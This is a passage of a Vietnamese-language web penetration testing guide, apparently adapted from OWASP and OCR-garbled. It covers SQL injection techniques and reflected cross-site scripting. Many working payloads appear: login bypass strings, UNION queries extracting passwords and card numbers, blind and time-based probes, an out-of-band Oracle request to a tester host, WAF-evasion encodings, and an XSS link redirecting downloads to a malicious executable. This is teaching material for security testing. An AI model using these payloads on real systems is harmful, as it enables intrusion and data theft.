khong chinh xac. Dau thir hai duoc sir dung dé két thiic mot cau 1énh SQL, va néu n6 khong
duoc loc, nd cling c6 kha ning tao ra mot 16i. Dau ra cua mot truong thiéu an toan cé thé
gidng vai nhitng diéu sau (trén Microsoft SQL Server, trong truong hop nay):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before
the
character string ".
[target/target.asp, line 113

Ciing c6 thé str dung cac diu tach phan giai (- hodc / * * /, vv) va céc tir khda SQL
khac nhu 'AND' va 'OR' dé thir stra d6i truy van. Mot k¥ thuat rat don gian nhung déi khi
van hiéu qua chi don gian 13 d& chén mét chudi vao noi danh cho s6, nhu mét 18i nhu sau
day co thé duoc tao ra:

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07*
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value ‘test' to a column of data type int.

[target/target.asp, line 113

Theo ddi tat ca cac phan hoi tir may cha web va xem ma ngudn HTML/javascript. Doi
khi 16i xay ra bén trong nhung vi 1y do nao d6 (vi du 16i javascript, chii thich cia HTML,
v.v.) khong dugc hién thi cho nguoi ding. Mot théng béo 16i day du, gidng nhu trong cac vi
du, cung cap rat nhiéu thong tin cho nguoi thir nghiém dé két hop thanh mat cudc tan cong
chén thanh cong. Tuy nhién, cac tng dung thudng khong cung cap qua nhiéu chi tiét: mot
15i “500 Server Error' don gian hoic mét trang 13i tuy chinh cé thé duoc hién thi, ¢ nghia 1a
ching ta can phai sir dung k¥ thuat chén. Trong moi truong hop, can phai kiém tra ting
trudng mot cach riéng biét: chi c6 mot bién duoc phép thay doi trong khi tat ca cac truong
khéc van khong ddi, dé hiéu chinh xac nhirng tham sé nao thiéu an toan va cai nao khéng.

Kiém tra tan cong SQL Injection tiéu chuan
Vi du 1 (SQL Injection c6 dién):



Xem xét truy van SQL sau:

SELECT * FROM Users WHERE Username='$username'  AND
Password="$password'

Mot truy Van tuong tu thuong dugc st dung tur ung dung web dé xac thuc nguoi
ding. Néu truy van tra vé mot gia tri, n6 co nghia 1a bén trong co so dir licu c0 nguoi dung
vOi tap hop cac thong tin nhu vay ton tai, sau d6 nguoi dung dugc phép ding nhap vao hé
thong, néu khéng truy cap bi tur chdi. Cac gia tri cua cc trudng nhip thudng thu dugc tir
nguoi dung thong qua biéu mau web. Gia st ching ta chén cac gia tri Tén dang nhap va
Mat khau sau:

Susername=1'or'1'="'1

$password=1'or'1'="1
Truy vén sé la:

SELECT * FROM Users WHERE Username='1' OR '"1' = '1' AND Password='1' OR
Ill - Ill

Néu ching ta gia sur rang cac gia tri cua cac thong s6 duoc guri toi may chu thong qua
phuong thirc GET va néu t&n mién cua trang web thiéu an toan 1a www.example.com, yéu
cau chung ta s€ thuc hién s€ la:

http://www.example.com/index.php?username=1'%200r%20'1'%20=%20'1&passw
0rd=1'%200r%20'1'%20=%20'1

Sau mot phan tich ngan, ching ta nhan thay rang truy van tra vé mot gia tri (hodc mot
tap cac gid tri) bai vi diéu kién ludn dang (OR 1=1). Bing cach nay hé théng da xac thuc
ngudi ding ma khong biét tén nguoi  dung va  mat  khau.
Trong mdt so hé thong, hang dau tién cia bdang nguoi ding sé la ngwoi ding qudn tri
Vién. Pdy cé thé la hé so dwoc tra lai trong mét sé truong hop. Mot vi du khac caa truy
van 1a nhu sau:

SELECT * FROM Users WHERE ((Username='$username’) AND
(Password=MD5('$password")))



Trong truong hop nay, c6 hai van dé&, mét 1a do viéc s dung dau ngodc don va mot
do str dung chirc nang bam MDS5. Trudc tién, chung ta giai quyét van dé cua ngoic
don. Piéu d6 chi don gian bao gdm viéc thém mat sb dau ngogc dong cho dén khi chung
ta 6 dugc mot truy van di duoc sira chira. Dé giai quyet van dé thtr hai, ching ta thir tron
tranh diéu kién thtr hai. Chung ta thém vao cudi truy van mot biéu twong co nghia 13 mot
nhan xet dang bét dau. Bang cach nay, moi thir theo sau biéu tuong nay dugc coi la mot
chd thich.M&i DBMS ¢6 cti phép riéng cho ch thich, tuy nhién, mot biéu tuong chung cho
phan 16n cac co so dit liéu 1a /*. Trong Oracle biéu tuong 1a "-". Diéu nay cho thdy rang,
cac gia tri ma chung ta s€ st dung dudi dang Tén dang nhap va Mat khau 1a:

$username = 1' or '1' = '1"))/*

$password = foo

Bang cach nay, ching ta s€ nhan dugc truy van sau:

SELECT * FROM Users WHERE ((Username='1" or '1' = '1)/*) AND
(Password=MD5('$password')))

(Do chtra mdt dau phan tach chd thich trong gia tri tén nguoi dung $, phan mat khau
cua truy van s€ bi bo qua.)

Yéu cau URL sé la:

http://www.example.com/index.php?username=1'%200r%20'1'%20=%20'1"))/* &pa
ssword=foo

Diéu nay co thé tra vé mot sb gia tri. D61 khi, mé xac thuc xac minh ring 5O luong
céc ban ghi tra vé/két qua chinh xac bang 1. Trong cic vi du trudc, tinh huong nay sé rat
kho xay ra (trong co s¢ dir liéu chi c6 mot gia tri cho moi nguoi dung). Dé giai quyet van
dé nay, ban chi cin chén mot 1énh SQL dit ra diéu kién rang s6 két qua tra vé phai la
mot. (M4t ban ghi tra lai) Pé dat dugc muc tiéu nay, chung ta st dung toan ti "LIMIT
<num>", trong d6 <num> la sb két qué/h6 s0 ma chung ta mudn dugc tra lai. Dbi véi vi du
trudce, gia tri cua cac truong Username va Password s€ dugc stra d6i nhu sau:

$username =1'or '1' ='1")) LIMIT 1/*



$password = foo
Bing cach nay, ching ta tao ra mot yéu cau nhu sau:

http://www.example.com/index.php?username=1'%200r%20'1'%20=%20'1"))%20L
IMIT%201/*&password=foo

Vi du 2 (cau Iénh SELECT don gian):
Xem xét truy van SQL sau:

SELECT * FROM products WHERE id_product=$id_product
Xem xeét truy van d6i v6i mot tap Iénh thuc hién truy van & trén:
http://lwww.example.com/product.php?id=10

Khi nguoi kiém tra thir mot gid tri hop I (vi du 10 trong truong hop nay), tng dung
sé tra lai mo ta cua mot san pham. Mot cach tot dé kiém tra xem ung dung c6 thiéu an toan
trong kich ban nay la khac thac logic, st dung toan tir AND va OR.

Xem xét yéu cau:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

Trong truong hop nay, co Ié ing dung se tra lai mot s6 thong bao cho ching ta biét
khong c6 ndi dung c6 san hoic trang tréng. Sau do, ngudi kiém tra co thé gui mot cau lénh
dang va kiém tra néu co két qua hop lé:

http://www.example.com/product.php?id=10 AND 1=1

Vi du 3 (Nein xép truy van):

Tuy thugc vao APl ma ung dung web dang su dung va DBMS (vi du: PHP +
PostgreSQL, ASP + SQL SERVER) c6 thé thuc hién nhiéu truy van trong mot cudc goi.

Xem xét truy van SQL sau:



SELECT * FROM products WHERE id_product=$id_product
Mot cach dé khai thac kich ban trén sé Ia:
http://www.example.com/product.php?id=10; INSERT INTO users (...)

~ Bang cach nay c6 thé thyc hién nhiéu truy van trong mot hang va doc lap véi truy
van dau tién.

3.2.2. Fingerprinting co so dir ligu

Mic di ngbn ngitr SQL 1a mét chuan, nhung mdi DBMS c6 dic diém riéng va khéac
nhau trong nhiéu khia canh nhu cac 1énh dac biét, cac chirc nang @é lay dir liéu nhu tén
nguoi dung va co so dir li¢u, cac tinh nang, dong nhan xét vv

Khi ngudi kiém tra chuyen sang khai thac SQL injection nang cao hon hon ho can
phai biét co so dir liéu back end la gi.

a) Cach dau tién dé tim ra co s dit liéu back end dugc sir dung 1a bang cach quan sat
16 tra vé boi ing dung. Sau day la mot so vi du ve thdng bao 10i:

mysql>)

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near \" at line 1

Mot UNION SELECT hoan chinh véi version() ciing c6 thé gitp biét dugc co so dit
liéu back end.

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit
1,1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’



Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit
1,1

PostgreSQL.:

Query failed: ERROR: syntax error at or near
""" at character 56 in /www/site/test.php on line 121.

b) Néu khong c6 thong bao 16i hodc mot thong bao 16i tuy chinh, ngudi danh gia co
thé thur chén vao céc truong chuoi bang cach st dung cac k¥ thuat noi khac nhau:

- MySql: 'test' + 'ing'

- SQL Server: 'test' 'ing’

- Oracle: 'test' || 'ing’

- PostgreSQL.: 'test’ || ‘ing’

3.2.3. Ky thudt Khai thdc

K¥ thuat Khai thac Union

Toan tor UNION dugc st dung trong cac phép chen SQL dé két hop mot truy vén,

thuong la truy van gia mao. Két qua cta truy van gia mao s& dugc két hop véi két qua cua
truy van ban dau, gho phép pgu’(n kiém tra c6 dugc cac gia tri cua cic ct clia bang
khéc. Gia str vi du rang truy van dugc thuc hién tir may chu la nhu sau:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Chung ta sé& dat gia tri $id sau:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Chung ta s& c6 truy van sau day:



SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT
creditCardNumber,1,1 FROM CreditCardTable

Trong d6 s& két hop két qua cua truy van ban dau véi tit ca cac sb thé tin dung trong
bang CreditCardTable. Tir khoa ALL la cén thiét dé o dao laitruy van st dung tir khoa
DISTINCT. Hon nita, chung ta nhan thay rang ngoai s thé tin dung, ching ta dé chon hai
gi4 tri khac. Hai gia tri nay 1a can thiét vi hai truy van phai c6 ciing mot s6 tham s6/cot dé
tranh 16i ct phép.

Chi tiét dau tién mot ngudi kiém tra can dé khai thac 16 hong SQL injection bang cach
st dung k¥ thuat do 1a tim dang s6 cot trong cau Iénh SELECT.

D¢ dat duoc diéu nay nguoi kiem tra c6 thé sir dung ménh d¢ ORDER BY theo sau
b1 mot so cho biét s6 cua cot co so dir liéu duoc chon:

http://www.example.com/product.php?id=10 ORDER BY 10--

Néu truy van thyc thi thanh cong theo gia dinh, trong vi du nay, c6 10 hoac nhiéu cot
trong cau lénh SELECT. N@u truy van that bai thi phai co it hon 10 cot dugc tra vé boi truy
van. Néu c6 mot thong bao 161 c6 san, no6 cd 1€ sé la:

Unknown column '10' in 'order clause'

Sau khi nguoi kiém tra phat hién ra sb cot, budc tiép theo 1a tim ra loai cot. Gia st ¢6
3 cot trong vi du trén, nguoi thir c6 thé thir ting loai cét, sir dung gié tri NULL:

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
Néu truy vén that bai, ngudi kiém tra c6 thé s& thdy mot théng bao nhu:
All cells in a column must have the same datatype

Néu truy van dugc thuc hién thanh cong, cot dau tién c6 thé 1a mot sb nguyén. Sau
do, nguoi kiém tra c¢6 thé di chuyén xa hon va tuong tu:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

Sau khi thu thap théng tin thanh cong, tly thudc vao tng dung, né chi cé thé hién thi
cho nguoi kieém tra ket qua dau tién, bai vi tng dung chi xu 1y dong dau tién cua tap ket



qua. Trong truang hop nay, c6 the s dung ménh dé LIMIT hogc ngudi kiem tra c6 the dat
mot gia tri khdng hop 1€, chi lam truy van thir hai hop 1€ (gia su khong c6 muc trong co sé
dir liéu c6 1D l1a 99999):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

K¥ thuit Khai thac toan tir Boolean

K¥ thuat khai thac Boolean rét hitu ich khi nguoi kiém tra phat hién ra truong hop
Blind SQL Injection, truong hop ma khong biét gi vé két qua ciia mot hoat dong. Vi du,
hanh vi nay xay ra trong truong hop 1ap trinh da tao ra mot trang 16i tuy chinh ma khong
tiét 10 bat cur dleu gl vé ciu tric cua truy van hodc co so dit liu. (Trang khong tra lai 16i
SQL, n6 chi tra vé HTTP 500, 404 hoic chuyén huéng).

Bang céach sir dung cac phuong phap suy luan, c6 thé vuot qua duge tro ngai nay va
do d6 thanh cong trong viéc khoi phuc céc gid tri cia mot s6 truong mong mudn. Phuong
phap nay bao gdm viéc thuc hién mot loat cac truy van Boolean (true hoic false) d6i véi
may chil, quan sat cic ciu tra 1oi va cubi cung suy luan y nghia cua cac cau tra loi nhu
vay. Chung ta xem xét, ‘nhu moi khi, tén mién www. example.com va chung ta gia st rang
chung chira mot tham s6 ¢6 tén id thleu an toan c6 thé bi tan cong bang SQL injection. Diéu
nay co6 nghia 1a thyc hién cac yéu cau sau:

http://www.example.com/index.php?id=1'

Chuing ta s& nhan dugc mét trang cé 15i thong bao tuy chinh do 15i ci phap trong truy
van. Chudng ta gia su rang truy van duoc thuc hién trén may chu la:

SELECT fieldl, field2, field3 FROM Users WHERE 1d="$1d'

D6 14 khai thac thong qua cac phuong phap duoc thay trude d6. Nhiing gi ching ta
mudn ¢6 duoc 1a céc gi tri ciia truong tén nguoi dung. Cac bai kiem tra ma ching ta s&
thuc hién sé cho phép ching ta lay gié tri cia truong tén ngudi ding, tr|ch XUat cac ky tu
gia tri nhu vay theo ky tu. Diéu nay c6 thé thdng qua viéc str dung mot sé ham tiéu chuan,
c6 mat trong hau hét cac co so di liéu. DI véi vi du ciia ching ta, ching ta s& sir dung cac
churc nang sau day:

SUBSTRING (text, start,length) : tra vé mot chudi con bat dau tir vi tri "start" cia
van ban va chiéu dai "length”. Néu "start" 16n hon d¢ dai cia van ban, ham tra vé mot gia
tri null.

ASCII (char) : n6 tra lai gia tri ASCII cua ky tu ddu vao. Mot gia tri null duoc tra lai
néu char 1a 0.

LENGTH (vin ban) : né tra lai s6 ky tu trong van ban nhap vao.



Thong qua cac chirc nang nhu vay, chung ta s€ thyuc thi cac phép thir ciia chung ta
bang ky tu ddu tién, va khi chung ta phat hién ra gia tri, ching ta s& dua vao gia tri thir hai
va tuong tu cho dén khi chiing ta kham ph4 ra toan bo gia tri. Cac bai kiém tra s& tan dung
chtrc nang SUBSTRING, dé chi chon mot ky tu tai mot thoi diém (chon mét ky tu don 1€
c6 nghia 1a dat tham s chiéu dai dén 1) va ham ASCIL, dé c6 dugc gia tri ASCII, nho d6
chung ta co thé so sanh s. Két qua so sanh s& dugc thuc hién véi tit ca cac gid tri ciia bang
ASCII, cho dén khi tim dugc gi tri ding. Vi dy, chung ta s& st dung gia trj sau cho Id :

$1d=1" AND ASCII(SUBSTRING(username,1,1))=97 AND '1'="1
Piéu d6 tao ra truy van sau (tir bay gio, chung ta s& goi n6 1a "truy van suy luan"):

SELECT fieldl, field2, field3 FROM Users WHERE Id="1" AND
ASCII(SUBSTRING(username,1,1))=97 AND '1'="1'

Vi du truée cho két qua khi va chi khi ky tu dau tién ciia tén nguoi ding truong bang
voi gia tri ASCIL97. Néu chung ta nhan dugc mot gia tri sai, sau do chung ta can tang chi
sd ctia bang ASCII tir 97 1én 98 va chiing ta lap lai yéu cau. Néu thay vao d6 chiing ta nhan
dugc mot gia tri dung, chung ta sé dat lai chi s6 ciia bang ASCII va phan tich ky tu ké tiép,
stra doi cac thong s ciia ham SUBSTRING. Van dé 1a 1am cach nao hiéu va c6 thé phan
biét gia tri thuc su dugc tra vé nam trong cac gia tri false. Pé lam diéu ndy, ching ta tao ra
mdt truy van ma ludn ludn tra vé false. Dicu niy co thé thuc hién bang cach sir dung gia tri
sau cho Id :

$1d=1"AND '1'="2
Ma s& tao ra cac truy van sau day:
SELECT field1, field2, field3 FROM Users WHERE 1d="1' AND '1' ='2'

Phan hdi thu dugc tir may chi (md HTML) s& 1 gia tri gia cho cac kiém tra cua chung
ta. Diéu nay la du dé xac minh xem gia tri thu duoc tir viéc thyc hién truy van truy van
bang véi gia tri thu duge voi thir nghiém dugc thyc hién truge d6. D61 khi, phuwong phap
nay khong thanh céng. Néu may chu tra vé hai trang khac nhau do két qua ctia hai yéu cau
web giong hét nhau, chung ta s€ khong thé phan biét dugc gia tri that sy tur gia tri sai. Trong
cac truong hop cu thé nay, can st dung cac bo loc cu thé cho phep chung ta loai bo ma
thay doi giita hai truy van va c6 dugc mau. Sau d6, d6i v6i mdi truy van suy luan duoc
thuc thi, chiing ta sé trich ra cac mau tuong ng tir phan hdi bang cach sir dung cing chic
ning, va ching ta s& thuc hién kiém soat gitta hai mau dé quyét dinh két qua cua phép thir.



Trong thao luan trude day, chung ta da khong giai quyet van dé xac dinh diéu kién
cham dut cac bai kiém tra, nghia 13 khi ndo chung ta nén két thiic qué trinh suy luan. Mot
ky thuat dé lam diéu nay sir dung mot ddc tinh ciia ham SUBSTRING va chitc ning
LENGTH. Khi kiém tra so sanh ky tw hién tai v6i ma ASCII 0 (tirc 12 gia tri null) va kiém
tra tra vé gia tri dGng, thi chiing ta di 1am xong thu tuc suy ludn (chung ta da quét toan bod
chudi) hodc gia tri ma ching ta cé phan tich c6 chira cac ky tu null.

Chung ta s€ chén gia tri sau cho truong 1d:
$1d=1" AND LENGTH(username)=N AND '1'="1

Trong d6 N 12 s6 kY tu ma chiing ta da phan tich dén nay (khong tinh gia tri null). Truy
van sé€ la:

SELECT fieldl, field2, field3 FROM Users WHERE Id="1" AND
LENGTH(username)=N AND '1' ="1'

Truy vén tra vé true hoac false. Néu ching ta c6 dugc true, c6 nghia da hoan thanh
suy luan, va do do, ching ta bict gia tri cua tham so. Neu ching ta nhaq dugc false, co
nghia la ky tu null xuat hién trong gia tri cua tham so va chdng ta phai tiép tuc phén tich
tham so6 tiép theo cho dén khi ching ta tim thay mot gia tri null khéc.

Tan cong Blind SQL injection can rat nhiéu truy van. Ngudi kiém thir c6 thé can mot
cbng cu tu dong dé khai thac 16 hong.

K thuat khai thac dua trén 10i

Ky thuat khai thac dya trén 16i rat hitu ich khi ngudi kiém tra vi mot 1y do nao do
khong thé khai thac 16 hong SQL injection bang cac ky thuat khac nhu UNION. Cac 10i
dga trén k¥ thuat bao gom yiéC budc o SO dur liéu thyc hién maot so hoat dong, trong d6
két qua s€ 1a mot 1oi. Van dé ¢ day la c¢o gang trich xuat mot so dir liéu tir co s¢ dit liéu va
hién thi n6 trong théng bao 10i. K¥ thuat khai thac nay co thé khac véi DBMS khéc nhau
(kiem tra cu thé phan DBMS).

Xem xét truy van SQL sau:

SELECT * FROM products WHERE id_product=3$id_product
Xem xét truy van d6i voi mot kich ban thyc hién truy van & trén:
http://www.example.com/product.php?id=10

Yéu cau doc hai s& 1a (vi du Oracle 10g):



http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST _NAME
( (SELECT user FROM DUAL) )--

Trong vi du nay, ngudi kiém tra ndi gia tri 10 véi két qua cua ham
UTL_INADDR.GET_HOST_NAME. Chtc ning trong Oracle nay s& cd gang tra lai tén
may chu cta tham sb truyén cho né tén ciia ngudi st dung trong mot truy van khéac. Khi co
s¢ dit lidu tim kiém mot tén may chu véi tén co s dit lidu ngudi dung, né sé khdng thanh
cong va tra lai mot thong bao 16i nhu:

ORA-292257: host SCOTT unknown

Sau d6, nguoi kiem tra c6 the thao tac thong sO duoc truyén dén
GET_HOST_NAME() va két qua sé duoc hién thi trong thdng bao 10i.

K§ thuat khai thac Out of band

K§ thuat nay rat hiru ich khi nguoi kiém tra tim ra tinh huéng Blind SQL Injection,
trong d6 khong biét gi vé két qua cua mot hanh dong. K§ thuat nay bao gom viéc sir dung
c4c chirc nang cuia DBMS dé thuc hién két ndi out of band va cung cap cac két qua cua truy
van dugc chén thanh mot phan cua yéu cau téi may chii ciia ngudi dénh gia. Giéng nhu cac
k§ thuat dua trén 13i, mbi DBMS c6 cac chirc ning riéng ciia nd. Xem xét cu thé phan DBMS.

Xem xét truy van SQL sau:

SELECT * FROM products WHERE id_product=$id_product
Xem xét truy van d6i voi mét tap 1énh thyc thi truy van ¢ trén:
http://www.example.com/product.php?id=10

Yéu cau doc hai sé& 1a:

http://www.example.com/product.php?id=10||[UTL_HTTP.request(‘testerserver.com
:80’||(SELECT user FROM DUAL)--

Trong vi du nay, nguoi thir nghiém dang néi gia tri 10 voi két qua cuia ham
UTL_HTTP.request. Chirc nang Oracle nay s& c6 gang két n6i véi 'testerserver' va thuc
hién mot yéu cdu HTTP GET c6 chira truy van tir "SELECT user FROM DUAL". Ngudi
kiém tra c6 thé thiét 1ap mot may chu web (vi du nhu Apache) hodc st dung cong cu Netcat:

/home/tester/nc —nLp 80



GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

K§ thuat Khai thac thoi gian tré

K¥ thuat khai thac thoi gian tré rat htru ich khi nguoi kiém tra tim ra tinh huéng Blind
SQL Injection, trong do khong biét gi vé& két qua cuia mot hanh dong. K§ thuit nay bao
gom viéc giri truy van duoc chén va trong truong hop diéu kién 1a dtng, nguoi kiém tra c6
the theo doi thoi gian de may cha phan hoi. Néu c6 sy cham tré, nguoi kiém tra co thé cho
rang két qua cta truy van c6 diéu kién 12 dung. K§ thuat khai thac nay c6 thé khac véi timg
DBMS khac nhau (kiém tra cu thé phan DBMS).

Xem xét truy van SQL sau:
SELECT * FROM products WHERE id_product=$id_product
Xem xét yéu cau d6i véi mot tap 1énh thyc thi truy van & trén:
http://www.example.com/product.php?id=10
Truy van s& 1a (vi du: MySql 5.X):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%, sleep(10),
‘false’))--

Trong vi du ndy, ngudi kiém tra dang kiém tra xem phién ban MySql c6 1a 5.x hay
khong, khién cho may chu tré ciu tra 1oi trong 10 gidy. Nguoi kiém tra c6 thé 1am tang thoi
gian tré va theo doi phan hoi. Nguoi kiém tra cling khong can doi phan hoi. Doi khi c6 thé
dit mot gia tri rit cao (vi du nhu 100) va hity yéu cau sau vai giay.

K§¥ thuat tranh né SQL Injection signature

Céc k¥ thuat nay duoc sir dung dé vuot qua cac hé théng phong thu nhu tuong lira
ung dung Web (WAFs) hodc cac h¢ thong phong chong xdm nhdp (IPS). Tham khao
https://www.owasp.org/index.php/SQL _Injection_Bypassing_ WAF

Khoang trang
Giam hoic tang khoang tréng s& khong anh huong dén cau 1énh SQL. Vi du:


https://www.google.com/url?q=https%3A%2F%2Fwww.owasp.org%2Findex.php%2FSQL_Injection_Bypassing_WAF&sa=D&sntz=1&usg=AFQjCNE71Y30oZVww3qHKnW5T5g9VYWOiA

or'a="a’
ora = @

Thém ky tu dic biét nhu dong hoic tab méi sé khong thay doi viéc thuc hién cau 1énh
SQL. Vi du:

or
Ial:

Ial
Null Bytes

Str dung null byte (%00) trudc bt ky ky tu ndo ma bo loc dang chan.
Vi du, néu ké tin cong c6 thé chén SQL sau day

*UNION SELECT password FROM Users WHERE username="'admin’--
dé thém Null Bytes sé la
%00"' UNION SELECT password FROM Users WHERE username="admin’--

Chd thich SQL

Thém cac chu thich dong 1énh SQL ciing ¢6 thé gitp cau 1énh SQL hop 1é va bo qua
bd loc SQL injection. Lay cau 1énh SQL injection nay lam vi du.

"UNION SELECT password FROM Users WHERE name="admin’--
Thém chd thich SQL sé 1a.

'**[UNION/**/SELECT/**/password/**/FROM/**[Users/**/WHERE/**/name/*
*ILIKE/**['admin’'--

'**[UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/\WWHE/**/RE/
**name/**/LIKE/**/'admin’--

Ma héa URL
Sir dung ma hda URL truc tuyén dé ma hoé cau lénh SQL
http://meyerweb.com/eric/tools/dencoder/


http://www.google.com/url?q=http%3A%2F%2Fmeyerweb.com%2Feric%2Ftools%2Fdencoder%2F&sa=D&sntz=1&usg=AFQjCNGHIENBoLzd4_gj5Iy9Oph2U3fDdQ

" UNION SELECT password FROM Users WHERE name="admin’--
Ma héa URL cua cau Iénh SQL injection sé

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%?2
Oname%3D%27admin%27--

Ma hoa ky tu

Chtic ning Char() c6 thé dugc sit dung dé thay thé k¥ tu tiéng Anh. Vi du, char
(114,111,111,116) c6 nghia la root

*UNION SELECT password FROM Users WHERE name='"root'--

Dé ap dung Char(), 1énh SQL injeciton sé& 13

"UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

Két ndi Chudi

Chia nho cac tir khoa SQL va cac tranh né cac bo loc. Cu phap ndi tiép khac nhau dua
trén co s¢ dir liéu. Str dung cong cu MS SQL lam vi du

select 1

~ Cau lénh SQL don gian c6 the dugc thay doi nhw du6i day bang cach sir dung ghép
Nnoi

EXEC('SEL' + 'ECT 1))
Ma hoa Hex
~ K§ thuat méd hoa Hex sir dung md hoa Hexadecimal dé thay thé cac cau lenh SQL
goc. Vi dy, 'root’ co thé hién thi la 726F6F74

Select user from users where name = 'root'

Cau Iénh SQL str dung gia tri HEX sé€ la:



Select user from users where name = 726F6F74
hoac
Select user from users where name = unhex('726F6F74")
Khai bao bién
Khai bao cau 1énh SQL injection thanh bién va thyc thi no.
Vi du: cu l1énh SQL injection dudi day

Union Select password

Dinh nghia ciu 1énh SQL thanh SQLivar bién

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT" +

N'password');
EXEC(@SQLivar)

Biéu thtic thay thé cta 'hodc 1 = 1'
OR 'SQLI' ='SQL'+'1'
OR'SQLI'>'S'
or20>1
OR 2 between 3 and 1
OR 'SQLI' = N'SQLI'

land1=1
111=1
1&&1=1

Tai liéu tham khao thém:

https://cheatsheetseries.owasp.org/cheatsheets/SQL _Injection_Prevention_Cheat_S

heet.html
4. Reflected Cross site scripting
4.1. TO6m tat

Loi Reflected Cross-site Scripting (XSS) xay ra khi mot ké tan cong chén ma thyc thi
trong mot phan hoi HTTP. Ma thuc thi nay khong duoc luu trir trong tng dung; n6 khong
lién tuc va chi anh huong dén nguoi dung mo mot lién két doc hai hoac trang web cua bén

thu ba.



Thong thudng, ma cua ké tan cong duoc viét bang ngdn ngir Javascript, nhung cac
ngdn ngit kich ban khac ciing duoc sir dung, vi du: ActionScript va VBScript. Ké tan cong
thuong tan dung nhitng 16 hong nay dé cai dat cac trinh keyloggers, lay cap cookie cta nan
nhan, liy trom clipboard, va thay d6i ndi dung cua trang (vi du, lién két tai xuéng).

MGt trong nhitng kho khin chinh trong viéc ngan ngira cac 16 hong XSS 1a ma hoa
ky tu thich hop. Trong mét sé truong hop, may chu web hozc eng dung web khong thé loc
mot s6 ma hod Ky ty, vi du ing dung web c6 thé loc ra "<script>", nhung c6 thé khdng loc
%3cscript%3e.

4.2. Kiém tra nhw thé nao

Phat hién vector dau vao. Do6i véi mbi trang web, nguoi kiém tra phai xac dinh tat ca
bién do nguoi nhap vao. Bicu nay bao gom cac dau vao an hoac khong ro rang nhu cac
tham s6 HTTP, dir liéu POST, céc gia tri truong biéu mau an...

Pé phat hién 16 hong XSS, ngudi kiém tra thudng sé sir dung dir liéu dau vao duoc
ghép lai mot cach dic biét véi mdi vecto dau vao. Kiém tra dir liéu co thé dugc tao ra bang
cach st dung mét ing dung web fuzzer, mét danh sach duoc xac dinh trudc te dong cac
chudi tan cong da biét hoac bang tay.

Mot s6 vi du vé dir liéu dau vao nhu sau:

<script>alert(123)</script>
“><script>alert(document.cookie)</script>

4.3. Dé c6 danh sdich ddy di cac chugi thiz nghiém c6 thé, hdy xem XSS Filter
Evasion Cheat Sheet.

Pbi voi mdi dau vao thir nghiém da thir trong giai doan trudc, nguoi kiém tra sé phan
tich két qua va xac dinh xem n6 ¢6 phai la mét 16 hong ¢é anh hudng thuc té dén tinh bao
mat cua ung dung web hay khong.

Vi du: hdy xem xét trang web c6 théng bao chao mung "Welcome% username%" va
lién ket tai xuong.

| @ http:ffexample.comdindex php?user=MrSmith

We'come Mr Smith
Get terminal client |

http: ffexample. comftcclient. exe

Nguoi kiém tra phai coi raing mdi diém nhap dit liéu c6 thé dan dén mét cudc tan cong
XSS. Bé phan tich n6, nguoi kiem tra sé thay doi bién user va co gang kich hoat 16 hong.

Hay thir nhap vao lién két sau va xem nhitng gi xay ra:


https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

http://example.com/index.php?user=<script>alert(123)</script>

Néu khdng c6 bién phép loc duoc 4p dung s& din dén popup sau day:

Diéu nay chi ra rang c6 mot 16 hong XSS va ¢ vé nhur nguoi kiem tra 6 the thyc thi
md theo y muon cua minh trong trinh duyét cta bat ky ai d6 néu nguoi d6 nhap vao lién
két cia nguoi kiém tra.

Vi du 2: Hay thir doan ma khac (lién két):
http://example.com/index.php?user=<script>window.onload = function() {var

AllLinks=document.getElementsByTagName("a");
AlILinks[0].href = "http://badexample.com/malicious.exe"; }</script>

Piéu nay gay ra hanh vi sau:

K55S Testcase #1 - Mozilla Firefox

HFle Edit Wiew History Bookmarks Tools Help

[@ http:fexample. comfindex. phpPuser=<script=window. anlo

Welcome
Get terminal client |

http:/fbadexample. com/malicious. exe

Diéu nay s& khién cho ngudi ding, nhip vao lién két dugc cung cap boi nguoi kiém
tra, s€ tai tép tin malicious.exe tir trang web ma anh ta kiém soat.

Vuot qua bo loc XSS

Tan cong reflected cross-site scripting duoc ngan chan khi tng dung web loc dau vao.
Nhung trinh duyét c6 thé da 10i thoi hoac da tat tinh nang bao mat duoc cai dat san. Tuong
tu, teong hra atng dung web khdng thé bao dam hoan toan phat hién ra cac cudc tan cong



méi, chua biét. Ké tan céng co thé tao ra mot chudi tan cong ma khong dwoc nhan dang
bai twong lira g dung web.

K¢ tan cong cd thé dung nhiéu cach dé vuot qua cac bo loc nay.
Tai liéu XSS Filter Evasion Cheat Sheet phd bién cac bién phap bo qua bé loc.

Vi du: (tng dung web c6 thé sir dung gia tri nhap vao cua ngudi dung dé dién vao mot
thudc tinh, nhu dugc hién thi trong doan ma sau:

<input type="text" name="state" value="INPUT_FROM_USER">
Sau d6 ké tan cong co thé gui doan ma sau:

" onfocus="alert(document.cookie)

Xem XSS Filter Evasion Cheat Sheet dé biét thém chi tiét cac k¥ thuat vuot qué bo
loc.

https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site _Scripting_Prevention_Ch
eat_Sheet.html
